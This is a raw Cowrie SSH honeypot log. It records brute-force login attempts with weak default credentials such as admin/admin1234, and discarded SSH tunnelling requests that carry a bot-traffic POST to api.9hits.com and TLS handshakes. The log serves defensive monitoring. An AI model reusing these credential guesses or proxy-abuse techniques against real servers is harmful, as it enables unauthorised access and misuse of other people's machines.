{"eventid":"cowrie.login.failed","username":"roy","password":"roy123","message":"login attempt [roy/roy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:12.456348Z","src_ip":"91.92.40.36","session":"69be649cf6f0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:13.015970Z","src_ip":"23.175.50.51","session":"64f7582c6914","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.5","message":"Connection lost after 5.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:13.985318Z","src_ip":"91.92.40.36","session":"69be649cf6f0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:15.283571Z","session":"5d7ed6056799","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:15.318711Z","src_ip":"173.208.188.210","session":"5d7ed6056799","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1166\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 9; K83CA) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=PiEvJHd3fS8rL1p9UypJIQ%3D%3DwHW39%2BA7qayj6yaaw39mwxLbqO2npF9p3MCTHrhD57UsjvEUpLtI1Z3qlz4OmBGFDu1GqdSWsdKGRZZ4Ds6QSl6lEQPwEuq61P3gJFkZjkfW6SnYI4h01EyQmKlaDINwtqlIySx7w%2FKDPUYwUFknCbCaPt3kAs%2BEjpUIvuIVoHjQFeNm4JOlxWet%2BKTFvSQn6lP3xZSfIm8fjPRw18ZBqQSCMHf370xjoSRsHO0DxjxWsZoqWJl0XddUAvTMuwMk3C75W0uRrLAAEaqi20pJP4SFTjHAShu%2B%2B9vA7USh53FEyQ5YNyPr8KJJQHpXB0XvJb2gKqQtiMaKdmZcFRz8hvW7rUFvpeMZ1dNSBg4c0CAD7rJksXYgHUyc6vOol3gxTmXjwMWBWNDN6tKgySnC%2FM%2FE5jQrkL%2FAMhJRxOPhBMZa1JNNBmYrsK28HsNRavjUuxIUZUjcYNAG8nrhpnSBoLhZx7iQXs%2B%2F3m3M%2BDGn4sIGtEzLxyCGRD9vL0It3%2FV1N80%2FGLZnj%2BO3gSr68ZCNOIKeZ%2BmWZd1WzLUo211nEFQfvIvvnOY%2F9LJ%2Fl9WOd3FrTTYW23tMJEYq6zsU3dZkFFgV%2BI64Kbkm1jnGtZjT%2B1cFyi2aT4pQQWV7eOmfwcIx8NkE4YfI73wyZ8WoLyJ4OZeY3%2BXOl6sh2X%2FeV%2BoYqluP%2BfcReOhUylM5IEARpFxN4i3cw5cpiiMBRZaWRDfnsiYDq5KB5V%2BKBIXMjJAQniBDJq%2FQbRkoVUwXb8%2Bfvbsu%2Fwdb160fnKlV3%2F85nhy1ixpo%2BdBjre0tV4T9TkF2vwGxKHNbylOu2xibYHJh4XSGWXgo8L0QPX3k1GJxhmd%2FfYbId7pL0Y9zbD2v1LqZ8ZeuljmiRbTIMxlPL0ATHpNUGdoyVdOgjFOfcFIDtSoVmggrIW8z10dMBjnM3E2HAmIycIGOq3w3G4BFNuBEAeswIxYdyvoi%2BpeeT7Qu1H51C0Y45AnYA2%2BWsFcA5k6O3SYEsggiPvXKyFk9hrt6gJefQJuMNugIsMZVZ6NHRUlxdXfoRkZVDMHJ786rH5hifII%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1166\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 9; K83CA) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=PiEvJHd3fS8rL1p9UypJIQ%3D%3DwHW39%2BA7qayj6yaaw39mwxLbqO2npF9p3MCTHrhD57UsjvEUpLtI1Z3qlz4OmBGFDu1GqdSWsdKGRZZ4Ds6QSl6lEQPwEuq61P3gJFkZjkfW6SnYI4h01EyQmKlaDINwtqlIySx7w%2FKDPUYwUFknCbCaPt3kAs%2BEjpUIvuIVoHjQFeNm4JOlxWet%2BKTFvSQn6lP3xZSfIm8fjPRw18ZBqQSCMHf370xjoSRsHO0DxjxWsZoqWJl0XddUAvTMuwMk3C75W0uRrLAAEaqi20pJP4SFTjHAShu%2B%2B9vA7USh53FEyQ5YNyPr8KJJQHpXB0XvJb2gKqQtiMaKdmZcFRz8hvW7rUFvpeMZ1dNSBg4c0CAD7rJksXYgHUyc6vOol3gxTmXjwMWBWNDN6tKgySnC%2FM%2FE5jQrkL%2FAMhJRxOPhBMZa1JNNBmYrsK28HsNRavjUuxIUZUjcYNAG8nrhpnSBoLhZx7iQXs%2B%2F3m3M%2BDGn4sIGtEzLxyCGRD9vL0It3%2FV1N80%2FGLZnj%2BO3gSr68ZCNOIKeZ%2BmWZd1WzLUo211nEFQfvIvvnOY%2F9LJ%2Fl9WOd3FrTTYW23tMJEYq6zsU3dZkFFgV%2BI64Kbkm1jnGtZjT%2B1cFyi2aT4pQQWV7eOmfwcIx8NkE4YfI73wyZ8WoLyJ4OZeY3%2BXOl6sh2X%2FeV%2BoYqluP%2BfcReOhUylM5IEARpFxN4i3cw5cpiiMBRZaWRDfnsiYDq5KB5V%2BKBIXMjJAQniBDJq%2FQbRkoVUwXb8%2Bfvbsu%2Fwdb160fnKlV3%2F85nhy1ixpo%2BdBjre0tV4T9TkF2vwGxKHNbylOu2xibYHJh4XSGWXgo8L0QPX3k1GJxhmd%2FfYbId7pL0Y9zbD2v1LqZ8ZeuljmiRbTIMxlPL0ATHpNUGdoyVdOgjFOfcFIDtSoVmggrIW8z10dMBjnM3E2HAmIycIGOq3w3G4BFNuBEAeswIxYdyvoi%2BpeeT7Qu1H51C0Y45AnYA2%2BWsFcA5k6O3SYEsggiPvXKyFk9hrt6gJefQJuMNugIsMZVZ6NHRUlxdXfoRkZVDMHJ786rH5hifII%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:15.322077Z","src_ip":"173.208.188.210","session":"5d7ed6056799","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":23300,"dst_ip":"159.203.135.109","dst_port":22,"session":"2588a9474285","protocol":"ssh","message":"New connection: 91.92.40.36:23300 (159.203.135.109:22) [session: 2588a9474285]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:17.555187Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:17.702831Z","src_ip":"91.92.40.36","session":"2588a9474285","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:17.706805Z","src_ip":"91.92.40.36","session":"2588a9474285","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:17.995916Z","session":"5d7ed6056799","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:18.053981Z","src_ip":"173.208.188.210","session":"5d7ed6056799","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc0x\\x10\\x95Q%\\xe6g\\xc3\\xac\\x10\\xff\\xf8=\\x89<\\xab\\xe3\\xeb.\\xdc\\xa1\\xf0\\xe7\\xf5>\\xe0@\\xc6\\xed\\td VK\\xc7R\\r[\\x1bs\\x84\\x8c\\x11q\\xbb\\xaf%\\xc0\\xa0\"\\xf9\\xcf\\xce|d\\x7f\\xe2\\x89\\x02\\xd9\\xa1\\x0c\\x00\\xe2\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 ?\\xff\\xb2\\x05\\'nU\\xc7\\\\X*%\\xc9=\\x00\\xc8\\xed\\xb5\\xb7&\\x10!\\x00\\x03\\xba,\\xf1\\xa8K\\x82\\xa7c\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc0x\\x10\\x95Q%\\xe6g\\xc3\\xac\\x10\\xff\\xf8=\\x89<\\xab\\xe3\\xeb.\\xdc\\xa1\\xf0\\xe7\\xf5>\\xe0@\\xc6\\xed\\td VK\\xc7R\\r[\\x1bs\\x84\\x8c\\x11q\\xbb\\xaf%\\xc0\\xa0\"\\xf9\\xcf\\xce|d\\x7f\\xe2\\x89\\x02\\xd9\\xa1\\x0c\\x00\\xe2\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 ?\\xff\\xb2\\x05\\'nU\\xc7\\\\X*%\\xc9=\\x00\\xc8\\xed\\xb5\\xb7&\\x10!\\x00\\x03\\xba,\\xf1\\xa8K\\x82\\xa7c\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:18.057919Z","src_ip":"173.208.188.210","session":"5d7ed6056799","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:18.425193Z","session":"5d7ed6056799","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:18.466110Z","src_ip":"173.208.188.210","session":"5d7ed6056799","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03BA\\x04/\\x1f!\\xc5\\xef)xK\\x18\\xd5\\xb6\\xb6\\x9f\\xd7\\x9b\\xd6\\x86\\xc2\\x7f\\xc9M\\xc9h\\xca\\xdcl\\xa1\\xf1k \\xdfM\\xa9K4\\xbbM[\\xf3\\xf1\\xa7\\x1a\"@zB\\xfd\\x90;\\xcaT\\x12\\xf4\\x0c\\xfc\\xaa\\xa9\\xed\\xae\\xad\\xba\\xc6\\x00\"\\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\xe0\\x0f\\tv\\x87\\x1b\\xb3W\\x91v\\xb4\\xd9\\xbfL\\xe8\\xe6\\x8e\\xb9\\xd6\\xe2\\nG\\x90\\x18lH%\\xa6\\xda\\xc9I\\x0e\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03BA\\x04/\\x1f!\\xc5\\xef)xK\\x18\\xd5\\xb6\\xb6\\x9f\\xd7\\x9b\\xd6\\x86\\xc2\\x7f\\xc9M\\xc9h\\xca\\xdcl\\xa1\\xf1k \\xdfM\\xa9K4\\xbbM[\\xf3\\xf1\\xa7\\x1a\"@zB\\xfd\\x90;\\xcaT\\x12\\xf4\\x0c\\xfc\\xaa\\xa9\\xed\\xae\\xad\\xba\\xc6\\x00\"\\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\xe0\\x0f\\tv\\x87\\x1b\\xb3W\\x91v\\xb4\\xd9\\xbfL\\xe8\\xe6\\x8e\\xb9\\xd6\\xe2\\nG\\x90\\x18lH%\\xa6\\xda\\xc9I\\x0e\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:18.470023Z","src_ip":"173.208.188.210","session":"5d7ed6056799","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Chinacache_2021","message":"login attempt [user/Chinacache_2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:18.687412Z","src_ip":"91.92.40.36","session":"2588a9474285","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:20.168611Z","src_ip":"91.92.40.36","session":"2588a9474285","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":23324,"dst_ip":"159.203.135.109","dst_port":22,"session":"e30e2b49f5c6","protocol":"ssh","message":"New connection: 91.92.40.36:23324 (159.203.135.109:22) [session: e30e2b49f5c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:22.924455Z"}
